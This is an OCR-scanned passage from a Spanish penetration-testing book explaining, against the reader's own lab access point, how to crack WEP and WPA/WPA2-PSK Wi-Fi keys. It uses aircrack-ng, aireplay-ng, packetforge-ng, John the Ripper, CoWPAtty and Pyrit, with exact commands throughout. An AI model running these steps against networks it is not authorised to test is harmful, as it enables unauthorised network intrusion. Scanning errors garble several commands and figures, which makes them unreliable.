escenario necesario para que este primer método funcione. Como el PA
transmite por el canal 9, escriba en esta primera consola airodump-
ng --bssid C€0:C1:C0:05:C2:30 --channel 9 --write
crackingWEP mon0. Con la opcidon --write guardard los paquetes
capturados en un archivo de nombre crackingWEP (Figura 5.3).

root@bt: -

Figura 5.3. Captura de paquetes transmitidos entre PAy cliente
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6. Como se necesita un gran nimero de paquetes para asegurarnos con €xito
la recuperacion de la clave WEP, forzaremos la produccion de un mayor
numero de ellos mediante una reinyeccion de peticiones ARP con la
herramienta aireplay-ng.

Abra un segundo terminal, sin cerrar el anterior, y escriba aireplay-ng
--arpreplay -b C0:C1:C0:05:C2:30 -h AC:81:12: 2F:31:E6
mon(0 (Figura 5.4). Enseguida se empezaran a capturar paquetes ARP
que se reinyectaran de nuevo en la red. Aunque no conocemos la clave
de cifrado, aireplay-ng puede identificar los paquetes ARP a través de
su tamafio definido. En poco tiempo habremos capturado y almacenado
en el fichero crackingWEP-* el suficiente nimero de paquetes para
asegurarnos el éxito. Este es un ataque muy eficaz, pero fallaré si no hay
trafico en la red.

Figura 5.4. Captura y reinyeccidn de paquetes ARP en la red

7. A priori, no sabemos cuantos paquetes de datos podemos necesitar para
romper una contrasefia WEP, pero suele estar en torno a unas cuantas
decenas de miles. Como dato préctico, son necesarios unos 24.000 para
obtener la clave con un 50 % de probabilidad. Con 60.000 paquetes
el grado de éxito llega al 100 %. Mire la columna #DATA para saber
el namero de paquetes que se llevan capturados en un momento dado.
Alcanzado un numero suficientemente grande, es hora de empezar a
recuperar la clave.
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Abra una tercera consola y escriba aircrack-ng crackingWEP-01.
cap. Dese cuenta de que en este momento tendremos abiertos tres
procesos en BackTrack: airodump-ng capturando paquetes de datos,

aireplay-ng inyectando paquetes ARP y aircrack-ng descifrando la
clave WEP (Figura 5.5).

Figura 5.5. Procesos corriendo para romper una clave WEP

8. Si el nimero de paquetes fuera insuficiente en el fichero, aircrack-
ng se detendria temporalmente hasta que se hubieran capturado mas,
momento en el que continuard el proceso de descifrado.

root@bt: ~

Figura 5.6. Detencidn de aircrack-ng por insuficiencia de paquetes
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9. Una vez que aircrack-ng haya recuperado la clave, mostrara en el
terminal la leyenda KEY FOUND! seguida de la clave.

Figura 5.7. Clave WEP correctamente recuperada

Este método funciona muy bien cuando hay tréafico en la red, pero esto no es
siempre asi. En caso de que no existan clientes asociados el proceso fallard, por lo
que hay que buscar rutas alternativas. Veamos como solucionar el problema:

1. Como no existen clientes asociados al router, lo primero que haremos tras
el punto 5 anterior serd asociarnos a la red con el comando aireplay-ng
--fakeauth 0 —a C0:C1:C0:05:C2:30 -h 00:11:22:33:44:55
—e Laboratorio mon0.

Figura 5.8. Ataque de falsa autenticacion
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Con algunos puntos de acceso hay que probar otras opciones para efectuar
el ataque de falsa autenticacion, pues lo anterior falla. Si este es su caso,
pruebe a introducir las siguientes opciones con la herramienta aireplay-ng:
--fakeauth 6000 -g 10 -o 1. De este modo, se intentara la
reautenticacion cada 6.000 segundos. Este tiempo extraordinariamente
largo permite que se puedan enviar paquetes de “sigo aqui” cada 10
segundos (-g 10). Con la opcidn —o 1 indicamos que solo se transmita
un tipo de paquete cada vez. Por defecto, esta fijado en multiples, lo que
puede confundir a algunos PA.

. Una vez conseguida la falsa autenticacion, empezaremos a reinyectar

trafico en la red, pues un ataque de falsa autenticacion no genera ningiin
paquete ARP (Figura 5.9).

root@bt:

13+ 34

e amrACKNEE

Figura 5.9. Reinyeccion de trafico en la red

El tiempo ahora es la clave fundamental, pues al no haber un cliente
legitimo asociado a la red, puede demorarse mucho capturar el niimero
adecuado de paquetes. Si durante el tiempo que estamos inyectando
paquetes tenemos la fortuna de que un verdadero cliente se autentica en la
red, el numero de paquetes crecera exponencialmente, lo que disminuira
drasticamente el tiempo necesario.

. Cuando haya capturado un numero suficiente de paquetes, abra

una nueva consola y comience a descifrar la clave con aircrack-
ng crackingWEP-01.cap hasta finalizar el proceso de descifrado
(Figura 5.10).
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Figura 5.10. Recuperacion de la clave WEP con falsa autenticacién

5.2.1 Método chop-chop

Este es un método muy atil, cuando funciona, si no existe ningin cliente
autenticado en la red o no conseguimos inyectar paquetes ARP. Decimos “cuando
funciona” porque no siempre es asi. Depende de tantos factores que a priori no
podemos saber si serd o no un ¢éxito. Un punto de acceso algo alejado, marcas
concretas de router o incluso algunos chips especificos, imposibilitan este ataque.
Por ello, como casi siempre con estas técnicas, habra que probar y ver.

Los pasos para ejecutar este ataque son los siguientes:

1. Abra una consola para capturar en un fichero los paquetes provenientes
del PA. Para ello escriba airodump-ng —¢ 9 --write chopchopWEP
mon0.

2. En el siguiente paso nos asociaremos, en una nueva consola, al PA con el
comando aireplay-ng --fakeauth 0 —a C0:C1:C0: 05:C2:30
-h 00:11:22:33:44:55 -e Laboratorio mon0.

3. Ahora abra otro terminal y ejecute el ataque chop-chop con aireplay-
ng --chopchop -b C0:C1:C0:05:C2:30 -h 00:11:22:33:44:55
mon0. En un breve lapso de tiempo generard un paquete y nos preguntara
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si usarlo o no. Si en BSSID aparece la direccion fisica del router atacado,
entonces presione la tecla y (Figura 5.11).

Figura 5.11. Generacion de un paquete para lanzar el ataque chop-chop

4. Enseguida se comenzara a construir el fichero .xor hasta que se obtenga la
secuencia de datos que permita hallar el criptograma (Figura 5.12). Este es
el punto mas critico del proceso, pues es donde suele fallar la mayoria de
las veces. En caso de que asi ocurra, si sigue sin haber clientes autenticados,
emplee el método de fragmentacion, que veremos después.

Figura 5.12. Construccion del archivo .xor
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5. Una vez obtenido el keystream, fabricaremos el paquete ARP.
Escriba en una consola el comando packetforge-ng -0 -a
C0:Cl:€C0:05:€2:30 -h 00:11:22:33:44:55 -k 255.255.
255.255 -1 255.255.255.255 -y *.xor -w arp-request

(Figura 5.13).

root@bt: ~

R

- b3 rkltra k [

Figura 5.13. Fabricacidn de un paquete ARP

6. Una vez escrito el paquete en el archivo arp-request lo inyectaremos
con aireplay-ng -2 -h 00:11:22:33:44:55 -r arp-request
mon0. Cuando pregunte si desea usar el paquete, presione la tecla y
(Figura 5.14).

Figura 5.14. Inyeccidn del paquete ARP fabricado
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7. A partir de este momento, comenzaran a subir rapidamente paquetes, y
del mismo modo se acelerara la captura de datos. Abra una nueva consola
y escriba aircrack-ng replay*.cap para comenzar a romper la
contrasefia. En poco tiempo aparecera esta en la consola, como se ve en
la figura 5.15.

Figura 5.15. Obtencion de la contraseiia WEP con el ataque chop-chop

5.2.2 Ataque por fragmentacion

Este método es otra de las técnicas que se emplea cuando no existen clientes
asociados con un PA. Es un ataque que le permite a un intruso generar € inyectar
paquetes cifrados en una red WEP sin la necesidad de conocer la clave. Solamente
necesitamos capturar de la red un paquete cifrado y lanzar el ataque.

Los pasos para realizar este ataque son los siguientes:

1. Abra un terminal para realizar la captura de los paquetes que provienen
del punto de acceso seleccionado. Para ello, escriba airodump-ng -c
9 --write fragmentacionWEP monQ.

2. Ahora realizaremos una falsa autenticacion con aireplay-ng
--fakeauth 0 —a C0:C1:C0:05:C2:30 -h 00:11:22:33:44:55
—e Laboratorio mon0O.
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3. Una vez autenticados con éxito, abra una nueva consola y ejecute el ataque
por fragmentacion mediante el comando aireplay-ng --fragment
-b €0:C1:C0:05:C2:30 -h 00:11:22:33:44:55 mon0. En un
breve lapso de tiempo generara un paquete y nos preguntara si usarlo o
no. Si en BSSID aparece la direccion fisica del router atacado, entonces
presione la tecla y seguida de Enter (Figura 5.16).

root@bt: ~

ack ark E

Figura 5.16. Construccion del paquete en el ataque por fragmentacion

4. En unos instantes empezara a construirse el fichero .xor hasta obtener
la secuencia de datos que permita obtener el criptograma. Cuando haya
finalizado, construya un paquete ARP con el comando packetforge-
ng --arp -a C0:C1:C0:05:C2:30 -h 00:11:22:33:44:55 -k
255.255.255.255 -1 255.255.255.255.255 -y *.xer -w
arp-request.

5. Unavezescrito el paquete en el archivo arp-request, y antes de inyectarlo,
compruebe si se ha construido con éxito. Este paso puede hacerlo ahora
porque conoce de antemano la clave WEP. Para este ejercicio la clave
elegida es 30945A62B0, asi pues, escriba el comando airdecap-ng -w
30945A62B0 arp-request. Le aparecera una ventana como la de la
figura 5.17.
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root@bt: ~

Figura 5.17. Paquete construido con éxito

Observe que el paquete WEP generado en el punto anterior se ha podido
descifrar con éxito, asi pues, cabe esperar que el proceso dé el mismo
resultado si se consigue reinyectar.

6. En una consola escriba aireplay-ng -interactive -r arp-

request mon0. Cuando le pregunte si desea usar el paquete, presione
la tecla y (Figura 5.18).

root@bt: ~

Figura 5.18. Reinyeccion del paquete construido
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7. Eneste momento se comenzara a inyectar trafico y los paquetes capturados
empezaran a almacenarse a un buen ritmo (Figura 5.19).

root@bt: ~

—

5

< back | track

Figura 5.19. Captura de paquetes en un ataque por fragmentacion

8. Cuando haya recuperado un numero suficiente de paquetes, en torno a45.000,
abra un nuevo terminal en BackTrack y escriba el comando aircrack-ng
* . cap para que esta herramienta comience a romper la contrasefia. En poco
tiempo, aparecera en la consola el resultado (Figura 5.20).

Figura 5.20. Contrasefia WEP descifrada

' ADVERTENCIA DE SEGURIDAD
A\ | No importa lo compleja que se elija una clave WEP, la herramienta
aircrack-ng siempre conseguira recuperarla con un maximo de 60.000
paquetes.
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9.3 WPA/WPA2

Wi-Fi Protected Access, o acceso protegido Wi-Fi, en castellano, es un
protocolo disefiado para superar las vulnerabilidades halladas en WEP sin necesidad
de modificar completamente todo el hardware de red.

Una de las mejoras de WPA es la implementacion del protocolo de integridad
de la clave temporal (TKIP), que modifica sincronizadamente las claves a medida
que el sistema se utiliza. WPA también mejora la integridad de la informacion cifrada.
La comprobacion de redundancia ciclica que emplea WEP, CRC, es poco segura,
pues puede alterarse la informacion y actualizar a continuacion la CRC sin conocer
la clave WEP. WPA, sin embargo, implementa un cédigo de integridad del mensaje
(MIC), conocido como Michael, mucho més robusto.

Tanto WPA como su version 2, WPA2, usan para autenticarse un servidor
Radius donde se almacenan las credenciales y contrasefias de los usuarios, en su
version empresarial; o una clave compartida PSK, en su version personal. Ambos
protocolos, aunque mucho mas seguros que WEP, siguen siendo vulnerables a
ciertos ataques. WPA/WPA2-PSK es sensible a un ataque por diccionario, pues
emplean el protocolo TKIP, que es vulnerable a la recuperacion de la keystream, o
cddigo pseudoaleatorio que produce los criptogramas. Tan solo seria necesario tener
acceso a la negociacion en cuatro pasos que se da entre cliente y router y un buen
diccionario para efectuar el ataque (Figura 5.21).

Cliente PA

256 bit

256 bit

ANonce

Deriva PTK
{MIC OK?

Figura 5.21. Negociacion en cuatro pasos en redes WPA/WPA2-PSK
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Las herramientas de BackTrack derivaran los 256 bits de la llave PSK para
cada palabra del diccionario y, junto al resto de parametros de la sesion, crearan la
pareja de claves transitorias PTK. A continuacion, usaran esta pareja para verificar
la integridad del mensaje (MIC) en uno de los paquetes de la fase de negociacion.
Si resulta correcto, entonces esa palabra del diccionario debe ser la clave. Asi pues,
cuanto mejor sea el diccionario que podamos emplear, mas posibilidades tendremos
de encontrar la llave en un cifrado WPA/WPA2-PSK (Figura 5.22).

Deriva Negociacion

i ok Comprobar o
=650

Figura 5.22. Comprobacidn de contrasefias WPA en un ataque por diccionario

9.4 REVENTANDO WPA/WPA2-PSK

Para que el ataque que vamos a explicar a continuacion tenga éxito, debe
cumplir tres condiciones que, a dia de hoy, son bastante usuales en un escenario real:

v La red emplea el protocolo de integridad de la clave temporal (TKIP).

¥ Las comunicaciones se realizan a través del protocolo de Internet version
4 (IPv4).

v El intervalo de actualizacion de claves es elevado, en torno a 3.600 s.

Siga cuidadosamente estos pasos para reproducir un escenario en el que se
desea probar la fortaleza de una contrasefia WPA:

1. Acceda al panel de control de su punto de acceso para establecer
las condiciones iniciales de configuracion. En la ficha Seguridad
inalambrica seleccione como modo de seguridad WPA-Personal con
el algoritmo TKIP y un intervalo de regeneracion de claves de al menos
3.600 s. Como contraseiia WPA-PSK elegiremos 123n0747i0n, para que
sea vulnerable a un ataque por diccionario.
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NOTA
Mire con tranquilidad el manual de su router, pues las opciones de
seguridad varian no solo entre marcas, sino también entre modelos dentro

de la misma marca.

2. AbraunaconsolaenBackTracky, tras poner suadaptador en modo monitor,

escriba el comando airodump-ng --bssid C0:C1:C0:05:C2:30
--channel 9 --write crackingWPA monQ para comenzar a
capturar paquetes de nuestro PA (Figura 5.23).

Figura 5.23. Captura de paquetes en una red WPA-PSK

. Ahora es momento de esperar a que algun cliente se conecte al router y

de este modo tener acceso a las cuatro fases de negociacion del protocolo.
Si hubiera algun cliente ya registrado en la red, podriamos lanzar
previamente un ataque de desautenticacion, como ya vimos, para forzar
su reconexion. En cuanto se conecte, vera en la esquina superior derecha
la indicacion WPA handshake, lo que significa que ya se ha almacenado
el proceso de negociacion (Figura 5.24).

Figura 5.24. Captura del proceso de negociacion
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De los paquetes capturados, los mas importantes son las
peticiones-respuestas ARP. La mayor parte del texto plano de aquellos
es conocida por el atacante, salvo los tltimos 8 bytes Michael y los
4 bytes ICV.

4. Detenga el proceso con Ctrl + C y abra con Wireshark el fichero
crackingWPA-01.cap, que se encuentra en la ruta /root. Encontrara los
paquetes de la negociacion buscando el protocolo EAPOL (protocolo de
autenticacion extensible sobre LAN [Figura 5.25]).
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Figura 5.25. Comprobacidn de los paquetes de las fases de negociacion

5. Ahora ya casi estamos preparados para romper la clave. Lo tnico que
nos queda es escoger el diccionario que vamos a usar. BackTrack trae por
defecto un diccionario llamado darkc(Ode.lst, que se encuentra en la ruta
/pentest/passwords/wordlists/ (Figura 5.26). Uno es tan bueno en esto
como el diccionario que posea y como las contrasefias que los usuarios
eligen dependen de muchos factores, entre otros el idioma o profesion,
es buena 1dea hacerse con varios diccionarios especificos. Existen, asi
mismo, muchas herramientas que nos permiten construir nuestros propios
diccionarios seglin los patrones que definamos.

x root@bt: ~

Figura 5.26. Diccionario por defecto en BackTrack
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6. Una vez localizado el diccionario, lance la herramienta aircrack-ng para
efectuar el ataque por diccionario escribiendo en un terminal ai rcrack-
ng crackingWPA*.cap -w /pentest/passwords/ wordlists/
darkcOde.lst (Figura5.27).

root@bt:

Figura 5.217. Ataque por diccionario a una red WPA-PSK

7. Aircrack-ng emplea el diccionario para encontrar entre todas las entradas
la contrasefia WPA. Si la clave elegida por el usuario legitimo de la red
se encuentra en el diccionario, aircrack-ng la hallard y nos la mostrara en
una consola como la mostrada en la figura 5.28.

root@bt: ~

Figura 5.28. Recuperacion de la clave WPA-PSK con aircrack-ng
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9.4.1 Atague por fuerza bruta

Como acabamos de ver, s1 la contrasefia de red elegida se encuentra en un
diccionario, un ataque asi siempre tendra éxito. Por ello, cuanto mejores sean los
diccionarios que podamos usar, mejores seran los resultados. No obstante, ;qué
ocurre si un ataque asi no fructifica? Pues, lamentablemente, la altima opcion viable
seria un ataque por fuerza bruta. Llamamos asi a una técnica criptoanalitica que
consiste en probar todas y cada una de las posibles claves hasta encontrar aquella
que nos permite el acceso. Si una clave esta formada por » bits, haran falta 27 — |
operaciones para hallar la contrasefia con certeza absoluta.

Este método puede parecer entonces la panacea del criptoandlisis. Cierto,
seria asi s1 no fuera por el coste computacional que dicho ataque requiere. Imagine
por un momento que deseamos romper una clave alfanumérica de 8 caracteres. Si
consideramos el alfabeto castellano con sus letras maytsculas y mintsculas, mas
los 10 nimeros de nuestro sistema decimal, entonces hablamos de 27 - 2 + 10 = 64
caracteres con repeticion tomados de 8 en 8. Matematicamente, el espacio de claves
seria 648 = 2,81 - 10'4. Si un potente microprocesador pudiera comprobar 150.000
claves por segundo, que ya es muchisimo, necesitaria 59 afios y medio para recorrer
todo el espacio de claves. |Y eso para una contrasefia de 8 caracteres! Este es el
motivo por el que ambos ataques, fuerza bruta y diccionario, se suelen combinar.

BackTrack puede realizar ataques por fuerza bruta empleando diferentes
herramientas, entre las que destacan John the Ripper y CoWPA(tty. John the Ripper
es una herramienta libre originalmente desarrollada para sistemas operativos Unix
que de forma nativa implementa BackTrack (/pentest/passwords/john/john). Puede
realizar ataques de diccionario como el realizado en el punto anterior o ataques por
fuerza bruta.

Es capaz de romper varios algoritmos de cifrado y hash. Es una herramienta
muy popular entre los administradores de sistemas, ya que permite comprobar la
fortaleza de las contraseias seleccionadas por los usuarios.

John the Ripper es capaz de detectar de forma automaética el tipo de cifrado
y se puede personalizar su algoritmo de prueba de contrasefias. Puede usarse contra
varios hash usados tipicamente en sistemas tipo Unix, como MDS5 y Blowfish;
Kerberos y LM (Lan Manager) en sistemas Windows.

Puede encontrar en linea una amplia documentacion del software en la
direccion http://www.openwall.com/john/doc.



© RA-MA

Capitulo 5. DEBILIDADES EN EL CIFRADO 119

A

ADVERTENCIA DE SEGURIDAD

La Unica contramedida eficaz ante un ataque por diccionario o por fuerza
bruta es emplear contrasefias fuertes. Para ello, emplee generadores de
claves, como el siguiente: http:/wpa.davidarboledas.es.

Veamos de forma préctica como llevar a cabo un ataque por fuerza bruta
empleando John the Ripper:

1. Entre en el panel de control de su punto de acceso y cambie la contrasefia

WPA-PSK por una de ocho letras mintsculas, como por ejemplo
abbacina, para que de este modo el ataque pueda efectuarse en un
tiempo prudencial. No podemos escoger una més pequefia porque el
algoritmo de cifrado exige un minimo de 8 y un maximo de 63 caracteres
alfanuméricos. Tenga en cuenta que cuanto mas larga sea la contrasefia,
mas tiempo de computo necesitara John the Ripper para encontrar la
clave.

. Obtenga la fase de negociacion entre la maquina legitima y el router, tal
y como se explico en los puntos 2 y 3 del epigrafe 5.4, Reventando wpa/
wpa2-psk.

. Una vez almacenado el archivo *.cap, lance el ataque enlazando la salida
de John the Ripper con aircrack-ng. Abra una consola en BackTrack y
escriba cuidadosamente el siguiente comando: /pentest/passwords/
john/john =--stdout --incremental: alpha | aircrack-
ng -b C€0:C1:C0:05:C2:30 -w - crackingWPA*.cap (Figura
5.29). Para limitar el tiempo de computo, y como sabemos que la
contrasefia contiene solo letras, hemos limitado el ataque a esta opcion
(--incremental:alpha).

X root@bt: ~

Figura 5.29. Ataque por fuerza bruta con John the Ripper
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TRUCO

El ataque més fuerte que podemos emplear con John the Ripper es el que
— utiliza todas las posibles combinaciones alfanuméricas, lo que se consigue
~conlaopcion --incremental:all.

4. Tras algo mas de nueve horas, John the Ripper encontré por fuerza bruta
la clave WPA tras probar mas de 38 millones de candidatas a un ritmo de
1.100 claves por segundo (Figura 5.30).

hack | track

Figura 5.30. Clave WPA-PSK obtenida por fuerza bruta

CoWPALtty es una herramienta libre destinada a las auditorias de redes
WPA/WPA2 basadas en el protocolo TKIP. Como John the Ripper, puede efectuar
ataques por diccionario o por fuerza bruta y, al igual que aquella, puede lanzarse
desde BackTrack. Fue creada por Joshua Wright y tiene todas las caracteristicas que
uno podria desear de una buena herramienta sin salir de su propoésito. Encontrara
toda la informacion del proyecto en la direccion htip.//www.willhackforsushi.com/
Cowpatty.html.
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Veamos como funciona:

1. Lo primero que haremos es lanzar airodump-ng para seleccionar una red
WPA/WPA2-TKIP como objetivo.

2. Una vez elegido, ejecutaremos de nuevo airodump-ng para que ahora
capture los paquetes transmitidos por el canal en el que emite el PA.

< root@bt: ~

Figura 5.31. Captura de paquetes con airodump-ng

Para obtener la captura completa de la negociacion en cuatro fases, es
necesario que haya al menos un cliente conectado o esperar a que un
cliente se conecte. Si hay un cliente conectado se lanzard un ataque
de desautenticacion, como hemos comentado ofras veces, para que
obtengamos la negociacion en cuanto se autentique de nuevo.

3. Una vez que tenga la negociacion, detenga airodump-ng y compruebe
el archivo .cap. A continuacion, lance CoWPAtty pasandole la ruta del
diccionario, el archivo cap y el nombre de la red, como ve en la figura
5.32. Con —r le indicamos el archivo, con —f'la ruta del diccionario y con
—2 le decimos que trabaje en modo no estricto, lo que resulta muy bueno
s1 no se han conseguido los cuatro paquetes completos de la negociacion.

root@bt: ~

_—_—_‘_

cowpatty

b xltrackE

Figura 5.32. Ataque de diccionario con CoWPAtty
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9.4.2 Acelerando el proceso

Como ya sabemos, romper una clave WPA/WPA2-PSK es cuestion de tener un
buen diccionario. En caso extremo, si tuviéramos todas las posibles combinaciones que
conforman el espacio de claves, convertiriamos el ataque por diccionario en un ataque por
fuerza bruta y, como ya se ha dicho, el problema es entonces el tiempo computacional. La
clave se terminaria hallando, es cierto, pero a costa de un tiempo infinito.

La etapa limitante del proceso en los protocolos WPA/WPA2-PSK es
la obtencion de la clave PSK de 256 bits a partir de la contrasena utilizada en la
configuracion del PA. Asi pues, si conseguimos calcular previamente la pareja de
claves maestras (PMK) que se distribuye entre el PA y el cliente, el proceso se
aceleraria enormemente.

Veamos a continuacion, de forma practica, como usar la herramienta genpmk
para calcular las parejas de claves maestras de nuestra red.

1. Abra un terminal en BackTrack y escriba genpmk -f /pentest/
passwords/worlists/darcOde.lst -d Labora torio-PMK -s

Laboratorio (Figura 5.33).

h‘f"ar" 5 | track E

Figura 5.33. Generacion de PMK para |a red Laboratorio

Con este comando hallaremos las PMK para la red con SSID Laboratorio
utilizando el diccionario darkcOde.lst. El resultado, tras un laborioso tiempo
de computo, se almacena en el archivo de nombre Laboratorio-PMK.
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NOTA
Guarde el archivo Laboratorio-PMK para usos posteriores.

2. Una vez capturada la negociacion entre el cliente y el router, para la que
nos sirve cualquier archivo crackingWPA*.cap previo, emplearemos la
aplicacion CoWPAtty para iniciar el ataque de diccionario haciendo uso
de las parejas de claves maestras halladas en el punto 1. Abra un terminal
y escriba cowpatty —-d Laboratorio-PMK —-s Laboratorio -r
crackingWPA*.cap, como muestra la figura 5.34.

Figura 5.34. Ataque de diccionario empleando PMK

3. Como ve en la figura siguiente, CoWPA(tty ha necesitado poco mas de 6 s
para obtener la clave:

nack | track 5

Figura 5.35. Obtencion de la clave WPA-PSK con CoWPAtty y PMK
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4. Si efectiia con aircrack-ng el mismo proceso, el tiempo necesario sube
a 12 minutos (Figura 5.36). Esto demuestra que la parte computacional
mas costosa es hallar las parejas de claves maestras.

Figura 5.36. Recuperacion de la clave WPA-PSK con aircrack-ng

5. Es posible, asi mismo, realizar otra aproximacion para reventar la clave.
Podemos generar una base de datos PMK para una red dada y usarla a
continuacion con aircrack-ng.

Abra una consola y escriba airolib-ng PMKdatabase --import
cowpatty Laboratorio-PMK, donde PMKdatabase sera la base
de datos y Laboratorio-PMK el fichero generado en el punto 1 con el
comando genpmk (Figura 5.37).

root@bt: ~

Figura 5.37. Fabricacidn de una base de datos para aircrack-ng
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6. Ahoraescriba aircrack-ng -r PMKdatabase crackingWPA*.cap
en una consola para comenzar el ataque y observe como el tiempo se
reduce de 12 minutos a 21 segundos (Figura 5.38).

Figura 5.38. Obtencidn de la clave WPA-PSK con PMK y aircrack-ng

- ADVERTENCIA DE SEGURIDAD
Aunque WPA/WPA2-PSK es mas seguro que WEP, sigue presentando
A vulnerabilidades. Si se ve obligado a usar cualquiera de estos dos
“protocolos, emplee claves aleatorias de 504 bits para evitar ataques por

dmcnonarin reduzca el tiempo de regeneracion de claves a menos de 120 s y cambielas
regularmente.

5.4.2.1 PYRIT

Pyrit es una aplicacion de codigo abierto que se distribuye bajo licencia
GNU GPLv3+. Se compila y ejecuta en plataformas tipo Unix y permite generar
enormes bases de datos de parejas de claves maestras (PMK) para emplearlas contra
los algoritmos WPA/WPA2-PSK. Esta especialmente implementada para aprovechar
la potencia computacional de las plataformas multiniicleo y las posibilidades de
utilizar los procesadores de las tarjetas graficas ATl y Nvidia.
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Pyrit tiene basicamente dos partes:

¥ Moédulo principal. Es el nticleo del programa. Forma parte de ¢l la linea
de comandos, el codigo de su base de datos y una extension que emplea
la CPU para la computacion de las claves.

¥ Médulos grificos. Anaden soporte para utilizar los procesadores de las
tarjetas graficas. Los modulos para Nvidia-CUDA y OpenCL se deben
instalar para sacar provecho a su capacidad de procesamiento si el
hardware que tenemos es compatible. Las GPU de ATI pueden utilizarse
a través de la implementacion OpenCL de AMD.

Es el método mas rapido hoy para generar tablas rainbow especificas para
WPA/WPA2-PSK, con cas1 90.000 PMK por segundo. Generar una sola PMK supone
hallar el valor resumen SHA1 de una cantidad de informacién equivalente a | MB.
Asi pues, Pyrit llega de momento a procesar 90 GB de datos con SHA 1 por segundo.

Para instalar Pyrit, siga estos pasos:

1. Descargue el codigo fuente desde la seccion de descargas del proyecto:
http://code.google.com/p/pyrit/downloads/list.

2. Opcionalmente, puede descargar desde el mismo servidor los paquetes
CPyrit-CUDA, para Nvidia; o CPyrit-OpenCL, para hardware
compatible (Figura 5.39).

- T
) Downloads - pyrt - WPA/ - o= -
& - C 1 codegooglecom/p/pynt/downicads/list <213 =
My fnvorites v | Sgnin *
it \
[/ 4 WRAWRAZPSK and o world of afordable many-core piatforms Samch projcts
_ ProgciHoms | Downioads | Wi lssuss  Source -
Search | Cusrent downioads  |w] for Search
1.303 %
Filename v Summary + Labels v Uploaded v ReleasoDate v Size v  DownloadCount v ...
L] spyit-openct04 Q.qacaz Pymt 0.4 0. add-on for OpenCL  Fasesd Fed 2011 Feb 2011 23KB 2116
b oepyicuda 04 0tacgz  Pynt 040 add-on for Nhidia CUDA  #eateren Fab 2011 Feb 2011 215KB Farard
L) 04008082 Pyte 040 main module Fesised Feb 201 Fab 2011 167 KB 42578
1.30f3

Figura 5.39. Pagina oficial de Pyrit
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3. Descomprima los archivos con el codigo fuente en un directorio de su

eleccion:

# tar xvzf pyrit-0.4.0.tar.gz

# tar xvzf cpyrit-cuda/opencl-0.4.0.tar.gz

Ahora debe proceder a compilar Pyrit.

# cd pyrit-0.4.0
# python setup.py build

# python setup.py install
# cd ~

Por ultimo, si la compilacion ha ido bien, instale el software:

Si desea utilizar el soporte para Nvidia-CUDA, debe tener ya instalados en
su sistema operativo sus drivers propietarios. A continuacion, siga estos pasos:

1. Vaya al sitio de Nvidia y descargue una copia de CUDA-Toolkit en
https://developer.nvidia.com/cuda-downloads (Figura 5.40).

/ @ CUDA Downloads | WIDL: = T N

pr——

€« C am

developer.nvidia.com/cu

@A DEVELOPER

nviDia Z0ONE

DEVILOPER CENTIRS TECHNOLOGEES TODLS RESOURCES

DN RELEASE NOW AVAILABLE
include the CUCA Toobut, 8

The CUDA jude the CUCA SOK code samples, 00 deveioper drivers
want out CUDA§ fep R the
Try CUDAS and 3
Vi WINDOWS: CUDA 5.0 Production Release
| 1
Win 8 / Win 7 / Win Vista WinXp
Desktop Motebook Desktop
it il it
it 12t e 0]
y LINUX: CUDA 5.0 Production Release
{
Fedora RHEL Ubuntu OpenSUSE SUSE SUSE
16 5% 6.X 11.10 10.04 121 Server 11 5P1 Server 11502
[ bt it Sibit | | sabit sait bl it
i iy Nbic | | 32bi Mt B

COMMLINITY

1

The HVIDIA Registéred
Developer Progras

CUDA Downicsds

CUDA GPUs

Get Started - Paraliel Computing
CUDA Tools B Ecoystem

CUDA FAQ

FEATURED ARTICLES

CUDAS5 Released

-4

Figura 5.40. Zona de descargas de CUDA-Toolkit
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2. Entre en la carpeta donde tiene el codigo fuente de CPyrit-CUDA para
compilar e instalar el software.

# cd cpyrit-cuda-0.40
# python setup.py build
# python setup.py install

3. Cuando haya acabado, teclee el comando pyrit list cores. Como
muestra la figura 5.41, deberia ver un listado con las GPU que tiene su
equipo.

Asi mismo, puede probar el comando pyrit benchmark, con el que
tendra una idea de la potencia de calculo de PMK de su plataforma,
teniendo en cuenta las CPU y GPU existentes en la maquina.

root@bt: ~

Figura 5.41. Listado de las GPU encontradas por Pyrit

Si, por el contrario, tiene que utilizar el soporte para OpenCL, que
actualmente es compatible con las GPU GeForce, de Nvidia; y las ATI Radeon, de
AMD, necesitara tener una copia de los kits de desarrollo de software (SDK) para
poder compilar CPyrit-OpenCL:

¥ Nvidia OpenCL SDK. Puede encontrar toda la documentacion en la
URL https://developer.nvidia.com/opencl (Figura 5.42A).

¥ ATI Stream SDK. Esta plataforma de desarrollo ha pasado a denominarse
AMD APP SDK Puede encontrar toda la informacion en la URL http.//
developer.amd.com/tools/ (Figura 5.42B).



© RA-MA Capitulo 5. DEBILIDADES EN EL CIFRADO 129

OpenCL

Opoed L™ [Opan Compuring Langusge) it & el AP lor hatilof
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Lty comprte hius wiillen i & Bt siubeet of Do C paoy
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O L st i nchiadhed b the Latait FVAHA GPU divvees, avally

Looking For Some OpenCL Code Samples?

a

Figura 5.42. Paginas de soporte para OpenCL de Nvidia y AMD

Una vez que haya instalado el kit de desarrollo adecuado para su plataforma,
vaya al directorio que contiene el codigo fuente de CPyrit-OpenCl, compilelo e
instélelo de la misma forma que hizo con Pyrit:

# cd cpyrit-opencl-0.4.0
# python setup.py build
# python setup.py install

Cuando finalice, teclee el comando pyrit list cores para comprobar
que su GPU se reconoce (Figura 5.43).

X root@bt: ~

Figura 5.43. GPU ATI RV770 encontrada por Pyrit
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Una vez que tenga instalado Pyrit junto con CUDA/OpenCL y funcione
correctamente, siga estos pasos para realizar un ataque contra redes WPA/WPA2-
PSK:

1. Cree el ESSID de la red que desea romper, puesto que se necesita para
crear las tablas rainbow a partir del diccionario en texto plano. Para ello,
escriba en un terminal pyrit -e Laboratorio create essid.

Pyrit puede administrar la creacion de tablas rainbow de dos formas
distintas:

® Batch. Procesa el diccionario y almacena las tablas en el disco duro
para un uso posterior.

e Passthrough. Procesa el diccionario escribiendo las tablas en la salida
estandar (stdout) para un uso inmediato, es decir, permite automatizar
el ataque por diccionario.

2. Siquiere usar passthrough en Pyrit con CoWPAtty, deberia introducir:

# pyrit -e Laboratorioc —-f /pentest/passwords
worlists/
darcOde.lst passthrough | cowpatty -d -r

handshake-01.cap -s Laboratorio

3. St por el contrario, quiere emplear el proceso baich, entonces importe
primero el diccionario donde residen las contraseiias.

# pyrit -f /pentest/../darcOde.lst import passwords

Creado el ESSID e importadas las contrasefias, solo le queda dar inicio al
proceso de creacion de las tablas rainbow.

# pyrit batchprocess

4. Exporte la tabla rainbow en formato compatible con CoWPA(ty.

